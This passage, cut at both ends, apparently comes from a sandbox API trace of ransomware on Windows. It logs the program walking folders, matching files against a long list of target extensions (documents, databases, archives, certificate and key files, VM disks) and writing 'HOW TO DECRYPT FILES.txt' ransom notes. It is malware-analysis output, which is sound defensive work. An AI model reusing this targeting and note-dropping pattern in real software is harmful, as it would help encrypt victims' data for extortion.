(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.xls") returned 0 [0111.672] lstrlenA (lpString="*.xls") returned 5 [0111.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.mp4") returned 0 [0111.672] lstrlenA (lpString="*.mp4") returned 5 [0111.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.ppt") returned 0 [0111.672] lstrlenA (lpString="*.ppt") returned 5 [0111.672] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.pptx") returned 0 [0111.672] lstrlenA (lpString="*.pptx") returned 6 [0111.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.doc") returned 0 [0111.673] lstrlenA (lpString="*.doc") returned 5 [0111.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.dot") returned 0 [0111.673] lstrlenA (lpString="*.dot") returned 5 [0111.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.docx") returned 0 [0111.673] lstrlenA (lpString="*.docx") returned 6 [0111.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.7z") returned 0 [0111.673] lstrlenA (lpString="*.7z") returned 4 [0111.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.tar") returned 0 [0111.673] lstrlenA (lpString="*.tar") returned 5 [0111.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.bz2") returned 0 [0111.673] lstrlenA (lpString="*.bz2") returned 5 [0111.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.gz") returned 0 [0111.673] lstrlenA (lpString="*.gz") returned 4 [0111.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.mkv") returned 0 [0111.673] lstrlenA (lpString="*.mkv") returned 5 [0111.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.eml") returned 0 [0111.673] lstrlenA (lpString="*.eml") returned 5 [0111.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.msg") returned 0 [0111.673] lstrlenA (lpString="*.msg") returned 5 [0111.673] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.edb") returned 0 [0111.673] lstrlenA (lpString="*.edb") returned 5 [0111.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.accdb") returned 0 [0111.674] lstrlenA (lpString="*.accdb") returned 7 [0111.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.odb") returned 0 [0111.674] lstrlenA (lpString="*.odb") returned 5 [0111.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.java") returned 0 [0111.674] lstrlenA (lpString="*.java") returned 6 [0111.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.asm") returned 0 [0111.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.pfx") returned 0 [0111.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.pem") returned 0 [0111.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.p12") returned 0 [0111.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.gpg") returned 0 [0111.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.vsd") returned 0 [0111.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.odg") returned 0 [0111.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.raw") returned 0 [0111.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.nef") returned 0 [0111.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.svg") returned 0 [0111.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.psd") returned 0 [0111.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.vmx") returned 0 [0111.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.vmdk") returned 0 [0111.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.vdi") returned 0 [0111.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.lay6") returned 0 [0111.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.mpeg") returned 0 [0111.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.djvu") returned 0 [0111.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.tiff") returned 0 [0111.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.backup") returned 0 [0111.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.pdf") returned 0 [0111.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.cert") returned 0 [0111.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.docm") returned 0 [0111.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.xlsm") returned 0 [0111.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.dwg") returned 0 [0111.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.nd") returned 0 [0111.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.tlg") returned 0 [0111.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.lgb") returned 0 [0111.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.mov") returned 0 [0111.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.xdw") returned 0 [0111.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.ods") returned 0 [0111.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.wav") returned 0 [0111.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.mp3") returned 0 [0111.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.aiff") returned 0 [0111.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.flac") returned 0 [0111.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.m4a") returned 0 [0111.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.WSMan.Run#\\4582b654b68ad17b90714875bd8c3fa2\\Microsoft.WSMan.Runtime.ni.dll", pszSpec="*.csv") returned 0 [0111.726] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe900dfd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe900dfd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe900dfd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x8400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.WSMan.Runtime.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.726] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.726] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe94d0be, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfe94d0be, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfe94d0be, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4582b654b68ad17b90714875bd8c3fa2", cAlternateFileName="4582B6~1")) returned 0 [0111.726] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.726] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc9d4df5, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdc9d4df5, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdc9d4df5, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="MIGUIControls", cAlternateFileName="MIGUIC~1")) returned 1 [0111.726] lstrcmpA (lpString1=".", lpString2="MIGUIControls") returned -1 [0111.726] lstrcmpA (lpString1="..", lpString2="MIGUIControls") returned -1 [0111.726] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.726] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="MIGUIControls" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls" [0111.726] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc9d4df5, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdc9d4df5, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdc9d4df5, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.727] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.727] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc9d4df5, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdc9d4df5, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdc9d4df5, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.727] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.727] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.727] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc9d4df5, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdc9d4df5, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdc9d4df5, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5d7e85e3ad81826e2e1d7131284c63fe", cAlternateFileName="5D7E85~1")) returned 1 [0111.727] lstrcmpA (lpString1=".", lpString2="5d7e85e3ad81826e2e1d7131284c63fe") returned -1 [0111.727] lstrcmpA (lpString1="..", lpString2="5d7e85e3ad81826e2e1d7131284c63fe") returned -1 [0111.727] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\*.*") returned="*.*" [0111.727] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\", lpString2="5d7e85e3ad81826e2e1d7131284c63fe" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe" [0111.728] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc9d4df5, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdc9d4df5, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdc9d4df5, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.774] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.774] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc9d4df5, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdc9d4df5, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdc9d4df5, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.774] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.775] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.775] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc80bd72, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdc80bd72, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdc8a42f3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x799e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MIGUIControls.ni.dll", cAlternateFileName="MIGUIC~1.DLL")) returned 1 [0111.775] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.775] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MIGUIControls.ni.dll") returned -1 [0111.775] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MIGUIControls.ni.dll") returned -1 [0111.775] lstrcmpiA (lpString1="", lpString2="MIGUIControls.ni.dll") returned -1 [0111.775] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\*.*") returned="*.*" [0111.775] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\" [0111.775] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\") returned="" [0111.775] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\HOW TO DECRYPT FILES.txt" [0111.775] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\miguicontrols\\5d7e85e3ad81826e2e1d7131284c63fe\\how to decrypt files.txt")) returned 0xffffffff [0111.775] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\miguicontrols\\5d7e85e3ad81826e2e1d7131284c63fe\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.785] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.788] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.788] CloseHandle (hObject=0x90) returned 1 [0111.788] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\", lpString2="MIGUIControls.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll" [0111.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.ems") returned 0 [0111.788] lstrlenA (lpString="*.ems") returned 5 [0111.788] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.db") returned 0 [0111.789] lstrlenA (lpString="*.db") returned 4 [0111.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.dbf") returned 0 [0111.789] lstrlenA (lpString="*.dbf") returned 5 [0111.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.myox") returned 0 [0111.789] lstrlenA (lpString="*.myox") returned 6 [0111.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.myo") returned 0 [0111.789] lstrlenA (lpString="*.myo") returned 5 [0111.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.qbw") returned 0 [0111.789] lstrlenA (lpString="*.qbw") returned 5 [0111.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.qbb") returned 0 [0111.789] lstrlenA (lpString="*.qbb") returned 5 [0111.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.qbm") returned 0 [0111.789] lstrlenA (lpString="*.qbm") returned 5 [0111.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", pszSpec="*.qbo") returned 0 [0111.789] lstrlenA (lpString="*.qbo") returned 5 [0111.789] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MIGUIControls\\5d7e85e3ad81826e2e1d7131284c63fe\\MIGUIControls.ni.dll", 